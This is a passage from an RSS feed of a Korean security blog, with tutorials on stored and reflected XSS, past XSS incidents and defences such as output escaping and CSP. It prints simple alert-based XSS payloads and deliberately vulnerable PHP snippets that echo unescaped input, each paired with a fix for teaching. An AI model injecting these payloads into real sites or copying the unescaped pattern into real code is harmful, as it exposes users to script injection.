&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 입력값 정제(Input Sanitization)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;저장 전에 입력값에서 &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;script&lt;/code&gt;, &lt;code&gt;onload&lt;/code&gt; 등 잠재적으로 위험한 문자열을 필터링하거나 제거&lt;/li&gt;
&lt;li&gt;WAF(Web Application Firewall) 활용 시 자동으로 알려진 공격 패턴 차단 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 출력 이스케이프(Output Encoding)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 문맥: &lt;code&gt;htmlspecialchars&lt;/code&gt;, &lt;code&gt;htmlentities&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;JavaScript 문맥: escape 처리 또는 DOM API로 안전하게 삽입&lt;/li&gt;
&lt;li&gt;JSON 문맥: &lt;code&gt;json_encode&lt;/code&gt;, &lt;code&gt;JSON.stringify&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 보안 응답 헤더 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Content-Security-Policy(CSP)&lt;/code&gt;: 스크립트 실행 출처 제한&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-XSS-Protection&lt;/code&gt;: 브라우저의 기본 XSS 필터 활성화 (일부 브라우저에서만 지원)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 사용자 입력 허용 범위 제한&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예: 댓글에서 태그를 일부 허용하고 싶다면, &lt;code&gt;HTMLPurifier&lt;/code&gt;, &lt;code&gt;DOMPurify&lt;/code&gt; 등 전문 라이브러리로 화이트리스트 기반 필터링 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리: 저장형 XSS에 대한 경각심&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS는 &quot;한 번의 공격&quot;으로 &quot;다수의 피해자&quot;에게 영향을 줄 수 있다는 점에서, 개발자와 보안 담당자가 반드시 경계해야 할 취약점입니다. Reflected XSS보다 탐지와 방어가 까다롭고, 피해 범위도 크기 때문에 입력 단계에서의 정제와 출력 단계에서의 철저한 이스케이프 처리는 선택이 아닌 필수입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 사용자 참여형 콘텐츠(게시판, 댓글, 리뷰 등)를 제공하는 사이트는 반드시 저장형 XSS에 대한 점검 루틴을 구축하고, CSP나 필터링 정책을 정기적으로 보완해 나가야 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 문서&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/xss/#stored-xss-attacks&quot;&gt;OWASP Stored XSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting&quot;&gt;Mozilla - XSS 개요&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/보안</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/501</guid>
      <comments>https://eyecandyzero.tistory.com/501#entry501comment</comments>
      <pubDate>Thu, 19 Jun 2025 05:48:24 +0900</pubDate>
    </item>
    <item>
      <title>Reflected XSS 공격 방식과 대응법: 반사형 XSS의 원리와 예시 (Reflected XSS Attack Method and Mitigation)</title>
      <link>https://eyecandyzero.tistory.com/500</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 19일 오전 05_11_57.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0KR4Q/btsOG7W253G/AxCLRQhpm3tZWGug2mrVjk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0KR4Q/btsOG7W253G/AxCLRQhpm3tZWGug2mrVjk/img.jpg&quot; data-alt=&quot;Reflected XSS 공격 예시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0KR4Q/btsOG7W253G/AxCLRQhpm3tZWGug2mrVjk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0KR4Q%2FbtsOG7W253G%2FAxCLRQhpm3tZWGug2mrVjk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 19일 오전 05_11_57.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Reflected XSS 공격 예시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 보안의 세계에서 XSS(Cross-Site Scripting)는 가장 흔하게 발견되는 취약점 중 하나이며, 이 중에서도 &quot;Reflected XSS(반사형 XSS)&quot;는 비교적 발견이 쉽고 빠르게 악용될 수 있어 실무에서 특히 주의가 필요합니다. 사용자 입력값이 서버에서 필터링 없이 바로 응답에 반영될 경우, 공격자는 URL을 조작해 악성 스크립트를 삽입하고 제3자에게 전달함으로써 피해를 유발할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 어떤 경고도 없이 조작된 링크를 클릭했을 때, 예상치 못한 스크립트가 즉시 브라우저에서 실행되는 상황에는 사용자의 개입 없이 악성 스크립트가 실행되며, 개인 정보 탈취, 악성 웹사이트로의 리디렉션, 브라우저 세션 탈취 등이 가능해집니다. 특히 &quot;Reflected XSS&quot;는 인증되지 않은 사용자에게도 쉽게 노출될 수 있어, 시스템 접근 권한이 없는 공격자라도 공격을 실행할 수 있다는 점에서 매우 위험합니다. 일상적인 검색창이나 에러 메시지에도 삽입이 가능하기 때문에 더욱 경각심이 필요합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Reflected XSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Reflected XSS&quot;는 사용자의 입력값이 서버를 거쳐 검증 없이 HTML 응답에 그대로 포함될 때 발생하는 공격 방식입니다. 보통 다음과 같은 경로로 동작합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 검색어, 피드백, 에러 메시지 등으로 특정 값을 입력&lt;/li&gt;
&lt;li&gt;해당 값이 서버 응답 내 HTML이나 JavaScript 코드에 포함됨&lt;/li&gt;
&lt;li&gt;공격자가 이를 악용해 악성 스크립트를 삽입한 URL을 생성&lt;/li&gt;
&lt;li&gt;사용자가 해당 URL을 클릭하면 스크립트가 실행됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 구조는 특히 검색 기능, 오류 페이지, 쿼리 스트링 등을 처리하는 페이지에서 자주 발견되며, 대응이 미흡할 경우 단 몇 줄의 스크립트로도 정보 탈취가 가능합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;예시: 검색창을 통한 XSS 유도&lt;/h2&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- 취약한 HTML 코드 --&amp;gt;
&amp;lt;p&amp;gt;You searched for: &amp;lt;%= query %&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 다음과 같은 URL을 생성할 수 있습니다:&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;https://example.com/search?query=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 URL을 이메일, 게시판, 메시지 등으로 다른 사용자에게 전달하면, 피해자는 해당 페이지를 열었을 때 입력값이 화면에 그대로 출력되면서 스크립트가 실행되는 구조입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약한 코드 vs 안전한 코드 비교&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약한 구조&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
$name = $_GET['name'];
echo &quot;Hello, $name&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격자가 입력한 값&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보완된 안전한 코드 예제&lt;/h3&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo &quot;Hello, $name&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;htmlspecialchars&lt;/code&gt; 함수는 HTML에서 사용되는 특수 문자를 이스케이프 처리하여, 스크립트가 브라우저에서 실행되지 않도록 방지합니다. 이는 가장 기본적인 대응책으로, 모든 사용자 입력값에 적용해야 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대응 방법&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;입력값 검증(Input Validation)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;숫자, 이메일, 고정된 문자열 등으로 제한 가능성이 있는 값은 정규식을 통해 형식을 검증&lt;/li&gt;
&lt;li&gt;HTML, JavaScript 코드가 삽입되지 않도록 서버 단에서 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;출력 이스케이프(Output Encoding)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 문맥: &lt;code&gt;htmlspecialchars&lt;/code&gt;, &lt;code&gt;htmlentities&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;JavaScript 문맥: 템플릿 내 &lt;code&gt;JSON.stringify&lt;/code&gt;, 문자열 처리 시 &lt;code&gt;\&lt;/code&gt; 이스케이프&lt;/li&gt;
&lt;li&gt;URL 문맥: &lt;code&gt;urlencode&lt;/code&gt;, &lt;code&gt;encodeURIComponent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보안 정책 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CSP(Content Security Policy)&lt;/b&gt;: 외부 스크립트 실행 제한, 인라인 스크립트 차단 등 강력한 보안 헤더 설정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;WAF(Web Application Firewall)&lt;/b&gt;: 자주 알려진 XSS 패턴을 실시간으로 탐지 및 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 대응책은 단독으로 적용하기보다는, 입력 검증 &amp;rarr; 출력 이스케이프 &amp;rarr; 정책 적용이라는 다층적 방식으로 구성하는 것이 효과적입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료 및 공식 문서&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/xss&quot;&gt;OWASP XSS Attack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting&quot;&gt;MDN - Cross-site scripting (XSS)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Reflected XSS&lt;/b&gt;는 단순하지만 강력한 위협입니다. 공격자는 시스템의 복잡한 구조를 분석하지 않고도, 단지 사용자 입력값의 검증이 부실한 지점을 노려 피해를 일으킬 수 있습니다. 개발자와 보안 담당자는 사용자 입력을 절대 신뢰하지 말고, 모든 출력값에 대해 문맥에 맞는 이스케이프 처리를 기본 원칙으로 삼아야 합니다. 이를 통해 사용자의 안전을 보장하고, 서비스의 신뢰성을 지킬 수 있습니다.&lt;/p&gt;</description>
      <category>Programing/보안</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/500</guid>
      <comments>https://eyecandyzero.tistory.com/500#entry500comment</comments>
      <pubDate>Thu, 19 Jun 2025 05:14:37 +0900</pubDate>
    </item>
    <item>
      <title>XSS 공격 사례 정리: 실무에서 발생한 웹 보안 사고들 (XSS Attack Cases in Practice)</title>
      <link>https://eyecandyzero.tistory.com/499</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 17일 오전 06_27_47.png&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RoGuj/btsODGMjpAz/hL2PtngxX1ygE5u89GBPTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RoGuj/btsODGMjpAz/hL2PtngxX1ygE5u89GBPTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RoGuj/btsODGMjpAz/hL2PtngxX1ygE5u89GBPTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRoGuj%2FbtsODGMjpAz%2FhL2PtngxX1ygE5u89GBPTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 17일 오전 06_27_47.png&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 보안은 보이지 않는 곳에서 끊임없이 시험대에 오릅니다. 그중에서도 &quot;XSS(Cross-Site Scripting)&quot;는 가장 흔하면서도 간과되기 쉬운 취약점 중 하나입니다. 기술적인 정교함 없이도 비교적 간단한 방식으로 실행이 가능하며, 적절한 대응이 없다면 기업의 신뢰성과 사용자 개인정보에 중대한 위협을 가할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 개발자나 운영자는 보안 이슈를 기능 구현 이후의 과제로 미루는 경우가 많습니다. 하지만 XSS는 입력 필터링이 부족하거나 출력 시 HTML 이스케이프 처리가 누락될 때 언제든지 사용자 브라우저에서 악성 스크립트가 실행될 수 있습니다. 이로 인해 세션 탈취, 피싱 유도, 악성 코드 배포 등의 사고로 이어질 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 실제 XSS 공격 사례들을 중심으로, &quot;XSS가 얼마나 일상적인 위협인지&quot;, 그리고 &quot;어떤 구조에서 반복적으로 발생하는지&quot;를 다양한 각도에서 정리합니다. 개발자뿐 아니라 보안 담당자, 기획자에게도 도움이 될 수 있도록 실무 중심의 설명으로 구성했습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;전 세계적으로 유명한 XSS 사고 사례&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MySpace XSS 웜 (2005)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2005년, &quot;Samy&quot;라는 닉네임의 해커가 MySpace의 프로필 기능을 악용하여 대규모 XSS 웜을 전파했습니다. 그는 자신의 프로필에 자바스크립트 기반의 악성 스크립트를 삽입했고, 이를 본 사용자의 브라우저가 해당 스크립트를 자동 실행하면서, 동일한 코드를 그들의 프로필에도 삽입하는 방식으로 감염이 확산되었습니다. 불과 하루 만에 백만 개 이상의 계정에 영향을 주었으며, 결국 MySpace는 해당 기능을 일시적으로 중단해야 했습니다. 이 사건은 XSS가 단순한 장난 수준을 넘어서 대규모 자동화된 공격으로 진화할 수 있다는 경고를 던졌습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Twitter Reflected XSS (2010)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2010년 Twitter에서 발견된 Reflected XSS 취약점은, 트윗 본문에 포함된 자바스크립트가 &lt;code&gt;onmouseover&lt;/code&gt; 이벤트로 자동 실행되는 현상이었습니다. 이 스크립트는 사용자의 계정으로 악성 트윗을 자동 전송하거나 원치 않는 웹사이트로 리디렉션하는 기능을 포함하고 있었습니다. 특히 로그인된 사용자에게만 영향을 주는 점에서 피해 범위가 컸으며, Twitter는 긴급 보안 패치를 통해 이를 차단했습니다. 이 사례는 자바스크립트 이벤트 핸들러의 안전성 관리가 얼마나 중요한지를 강조한 계기였습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;eBay 검색창 XSS (2014)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2014년 eBay의 검색창에서는 사용자 입력을 적절히 필터링하지 않아 악성 스크립트가 삽입될 수 있는 XSS 취약점이 보고되었습니다. 공격자는 검색 결과 URL에 스크립트를 삽입하여, 사용자가 해당 링크를 클릭하면 피싱 사이트로 유도되도록 했습니다. 특히 로그인 정보를 탈취하거나 결제 정보를 가로채는 등의 부가적인 피해가 우려됐습니다. 이 사건은 XSS가 피싱과 결합할 수 있는 잠재적 위험성을 보여주며, 검색 기능에도 엄격한 필터링이 필요하다는 교훈을 남겼습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;국내 서비스에서의 XSS 사례&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인터파크 Q&amp;amp;A 게시판 취약점 (2014)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터파크의 상품 Q&amp;amp;A 게시판에서는 사용자 입력값에 대한 필터링이 누락된 상태로 운영되며, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 태그를 통한 XSS 공격이 가능했습니다. 보안 전문가에 의해 제보된 이 취약점은, 관리자가 질문을 열람하는 순간 악성 스크립트가 실행되어 세션 탈취, 악성 사이트 유도 등이 가능해질 수 있는 구조였습니다. 실질적인 피해는 없었지만, 기업 서비스 내 특정 영역에서의 필터링 누락이 얼마나 위험한지를 보여준 사례였습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;XpressEngine(XE) 게시판 XSS 취약점 (2012)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오픈소스 커뮤니티 플랫폼인 XpressEngine 1.5.3.3 이하 버전에서는 특정 파라미터에 자바스크립트를 삽입할 수 있는 취약점이 존재했습니다. 공격자는 URL 쿼리 스트링에 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;를 포함하여 특정 페이지에 접근하게 하면, 사용자의 브라우저가 이를 실행하도록 유도할 수 있었습니다. 게시판, 댓글, 회원정보 출력 등 다양한 경로에서 악용될 수 있어 많은 사이트에서 긴급 패치가 이뤄졌습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;일반 웹사이트에서 자주 발생하는 XSS 환경&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쇼핑몰 검색창&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쇼핑몰 검색 기능은 사용자 입력을 기반으로 작동하기 때문에, 필터링이 없을 경우 XSS 취약점이 자주 발생하는 영역입니다. 예를 들어, 검색어 강조 기능에서 입력값이 HTML에 직접 삽입될 경우, &lt;code&gt;https://shop.com/search?q=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt; 와 같은 URL을 통해 스크립트가 실행될 수 있습니다. 공격자는 이를 통해 사용자 브라우저에서 악성 명령을 실행하거나 세션 정보를 탈취할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;게시판 및 댓글 시스템&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;댓글이나 게시판의 작성자 이름, 내용, 제목 등은 출력 시 HTML 이스케이프 처리를 반드시 거쳐야 합니다. 입력값이 그대로 출력되는 경우, 사용자가 &lt;code&gt;&amp;lt;img src=x onerror=alert('XSS')&amp;gt;&lt;/code&gt;와 같은 코드를 입력하면, 페이지를 보는 모든 사용자에게 알림창이 뜨거나 쿠키를 훔치는 등의 공격이 가능해집니다. 특히 관리자가 열람하는 백오피스에서 이와 같은 코드가 실행되면 내부 시스템으로의 공격 경로로 이어질 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OWASP 공식 문서: &lt;a href=&quot;https://owasp.org/www-community/attacks/xss&quot;&gt;https://owasp.org/www-community/attacks/xss&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SecurityWeek 기사 아카이브: &lt;a href=&quot;https://www.securityweek.com&quot;&gt;https://www.securityweek.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MDN Web Docs (XSS): &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting&quot;&gt;https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XSS는 더 이상 드문 이슈가 아닙니다. 오히려 우리가 매일 사용하는 웹의 거의 모든 영역에서 잠재적으로 발생할 수 있는 위험입니다. 본문에서 소개한 사례들은 보안에 대한 경각심을 일깨우고, 필터링과 이스케이프 처리가 왜 기본적인 방어책인지 다시금 확인하게 해줍니다. 실무에서의 보안은 완벽함이 아니라 반복적인 점검과 대응의 습관에서 비롯된다는 점을 기억해야 합니다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>Programing/보안</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/499</guid>
      <comments>https://eyecandyzero.tistory.com/499#entry499comment</comments>
      <pubDate>Tue, 17 Jun 2025 06:28:57 +0900</pubDate>
    </item>
    <item>
      <title>웹사이트 보안 XSS란 무엇인가? Cross-Site Scripting 기본 개념과 동작 방식</title>
      <link>https://eyecandyzero.tistory.com/498</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;웹 보안에서 자주 언급되는 위협 중 하나가 바로 &quot;XSS&quot;입니다. 이는 사용자 입력을 제대로 처리하지 못한 결과로 발생하며, 공격자가 악성 스크립트를 삽입해 사용자나 시스템에 피해를 줄 수 있는 위험한 취약점입니다. 특히 XSS는 OWASP Top 10에서 꾸준히 상위권을 차지하고 있으며, 보안을 고려한 웹 개발에서 반드시 인지하고 대응해야 할 핵심 항목으로 평가됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;A. XSS의 정의&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;XSS&quot;는 &quot;Cross-Site Scripting&quot;의 약자입니다. 다만 CSS와 혼동을 피하기 위해 약어로는 XSS로 표기합니다. XSS는 공격자가 악성 스크립트를 웹페이지에 삽입하여, 해당 페이지를 열람한 사용자의 브라우저에서 의도하지 않은 자바스크립트가 실행되도록 만드는 공격 기법입니다. 이로 인해 쿠키 탈취, 세션 하이재킹, 피싱 등의 다양한 보안 사고가 발생할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OWASP(국제 웹 보안 프로젝트)의 Top 10 웹 취약점 목록에서 XSS는 매년 상위권에 포함되며, 그 심각성과 빈도가 입증되고 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;B. 작동 원리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 사용자의 브라우저에서 자바스크립트 같은 클라이언트 스크립트를 실행하게 만드는 방식입니다. 공격자는 보통 입력폼, 댓글, 검색어 입력창 등에 스크립트 태그(&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;)를 삽입하고, 이것이 서버를 통해 필터링 없이 그대로 HTML에 포함되어 출력될 경우 문제가 발생합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 게시판에 다음과 같은 댓글이 작성되었다고 가정해봅니다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- 취약한 코드: 사용자 입력을 그대로 출력 --&amp;gt;
&amp;lt;p&amp;gt;댓글: &amp;lt;%= userInput %&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;code&gt;userInput&lt;/code&gt; 값이 다음과 같이 입력된다면.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert('XSS');&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 페이지를 열람한 모든 사용자에게 경고창(alert)이 뜨게 됩니다. 이는 단순한 예시지만, 실제로는 쿠키를 탈취하거나, 악성 사이트로 리다이렉션 시키는 등 더 위험한 동작도 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 17일 오전 05_24_14.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHRxjd/btsOEMLrUck/bgZgAlXL6JMzd7gm6VSFx0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHRxjd/btsOEMLrUck/bgZgAlXL6JMzd7gm6VSFx0/img.jpg&quot; data-alt=&quot;XSS 공격 흐름도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHRxjd/btsOEMLrUck/bgZgAlXL6JMzd7gm6VSFx0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHRxjd%2FbtsOEMLrUck%2FbgZgAlXL6JMzd7gm6VSFx0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; 